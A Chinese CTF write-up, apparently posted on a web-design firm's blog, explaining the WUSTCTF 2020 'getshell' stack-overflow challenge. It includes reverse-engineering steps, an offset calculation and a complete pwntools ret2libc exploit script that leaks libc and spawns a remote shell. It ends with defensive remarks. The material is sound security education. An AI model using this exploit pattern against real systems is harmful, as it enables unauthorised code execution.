栈溢出漏洞利用:从逆向分析到ROP攻击实战

发布时间:2026/10/27 13:24:26
栈溢出漏洞利用:从逆向分析到ROP攻击实战 1. 题目背景与核心挑战解析这道来自WUSTCTF 2020的pwn题getshell是典型的栈溢出漏洞利用场景。题目运行在x86架构下保护机制仅开启了NXNo-eXecute这意味着栈空间不可执行但我们可以通过ROP技术绕过。题目给出了二进制文件通过逆向分析可以发现存在明显的read函数溢出漏洞——程序使用read读取用户输入时未对长度进行限制导致可以覆盖返回地址。在CTF比赛中这类基础栈溢出题目往往考察以下几个核心能力逆向工程基础使用IDA/Ghidra分析二进制漏洞点定位识别危险函数调用偏移量计算确定返回地址覆盖位置payload构造包含shellcode或ROP chain本地调试与远程利用使用pwntools工具链2. 环境准备与逆向分析2.1 基础环境配置建议使用Ubuntu 18.04/20.04 LTS环境安装以下工具sudo apt install gdb peda checksec python3-pip pip3 install pwntools ropgadget使用checksec检查二进制保护机制checksec getshell [*] /tmp/getshell Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)2.2 IDA静态分析关键点使用IDA Pro打开二进制文件定位到main函数反编译视图int __cdecl main(int argc, const char **argv, const char **envp) { char buf[32]; // [esp0h] [ebp-28h] setvbuf(stdout, 0, 2, 0); puts(Try to getshell!); read(0, buf, 0x100); return 0; }关键漏洞点buf数组长度32字节但read允许读取0x100(256)字节无栈保护(canary)机制32位架构下ebp占4字节返回地址占4字节2.3 栈结构可视化函数调用时的栈布局如下----------------- | buf[32] | - ebp-0x28 ----------------- | ebp | - ebp ----------------- | return address | - ebp0x4 -----------------计算覆盖返回地址需要的padding长度buf到ebp距离0x28 (40字节)ebp本身4字节总计需要40 4 44字节垃圾数据才能覆盖到返回地址3. 漏洞利用开发实战3.1 基础利用思路由于NX保护开启我们有两种利用方案ret2libc泄漏libc地址后调用system(/bin/sh)ROP链构造利用现有gadget组合调用execve本题选择更基础的ret2libc方案步骤如下泄漏libc函数地址如puts计算libc基址和system地址构造第二次payload调用system(/bin/sh)3.2 利用脚本开发使用pwntools编写完整expfrom pwn import * context(archi386, oslinux) elf ELF(./getshell) libc elf.libc if elf.libc else ELF(/lib/i386-linux-gnu/libc.so.6) # 本地调试或远程连接 def conn(): if args.REMOTE: return remote(node4.buuoj.cn, 25000) else: return process(elf.path) # 第一次泄漏libc地址 def leak_libc(): rop ROP(elf) rop.puts(elf.got[puts]) rop.call(elf.sym[main]) payload flat({ 0x28: rop.chain() }) io conn() io.sendlineafter(bTry to getshell!\n, payload) leak u32(io.recv(4)) io.close() return leak # 计算libc基址 puts_addr leak_libc() libc.address puts_addr - libc.sym[puts] system_addr libc.sym[system] bin_sh_addr next(libc.search(b/bin/sh\x00)) # 第二次getshell rop ROP([elf, libc]) rop.system(bin_sh_addr) payload flat({ 0x28: rop.chain() }) io conn() io.sendlineafter(bTry to getshell!\n, payload) io.interactive()3.3 关键点调试技巧使用cyclic确定偏移gdb getshell r $(cyclic 100) # 崩溃时查看eip值 cyclic -l 0x6161616c检查libc版本ldd getshell linux-gate.so.1 (0xf7fd1000) libc.so.6 /lib/i386-linux-gnu/libc.so.6 (0xf7da2000) /lib/ld-linux.so.2 (0xf7fd3000)验证ROP链print(rop.dump()) # 0x0000: 0x80484d1 pop ebx; ret # 0x0004: 0x804a018 [arg0] got.puts # 0x0008: 0x80483d0 puts # 0x000c: 0x8048526 main4. 进阶技巧与变种分析4.1 无libc场景下的利用当题目不提供libc时可以通过以下方式处理泄漏多个函数地址如putsread使用libc-database查询匹配的libc版本下载对应libc后重新计算偏移4.2 栈对齐问题处理在调用system时可能遇到栈对齐问题解决方法在ROP链中添加ret gadget调整栈指针使用mov esp, ebp等gadget重置栈帧4.3 其他保护机制的影响如果题目开启更多保护时的应对策略PIE需要先泄漏程序基址Full RELRO无法修改GOT表需转向其他利用方式Canary需要先泄漏canary值5. 实战中的常见问题排查泄漏地址不正确检查puts是否真的输出完整地址recv(4)可能不完整确认接收数据前没有其他输出干扰system调用崩溃检查/bin/sh地址是否正确使用search确认添加ret gadget解决栈对齐问题远程与本地差异使用ldd检查远程libc版本考虑网络延迟导致的交互问题添加timeoutpayload构造错误使用hexdump检查实际发送内容在gdb中单步跟踪执行流程6. 防御方案与出题思路从防御角度这道题展示了几个关键点永远不要信任用户输入长度现代保护机制NX/ASLR的重要性安全编程中数组边界检查的必要性出题人可以通过以下方式增加难度限制输入长度刚好够覆盖返回地址移除所有有用gadget需要更复杂的ROP使用非常规libc版本添加栈随机化需要先泄漏栈地址7. 扩展学习资源推荐经典教材《Hacking: The Art of Exploitation》《漏洞利用与渗透测试基础》在线实验平台pwnable.krpwnable.twmicrocorruption.com工具链进阶pwndbg插件增强gdb功能ROPgadget自动化工具angr符号执行框架在实际漏洞利用开发过程中最重要的是培养系统化的调试思维。建议从简单题目开始逐步构建自己的漏洞利用工具箱记录每种保护机制下的绕过方法。这道WUSTCTF的getshell题目虽然基础但涵盖了栈溢出利用的核心技术点是学习二进制安全的绝佳入门案例。

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询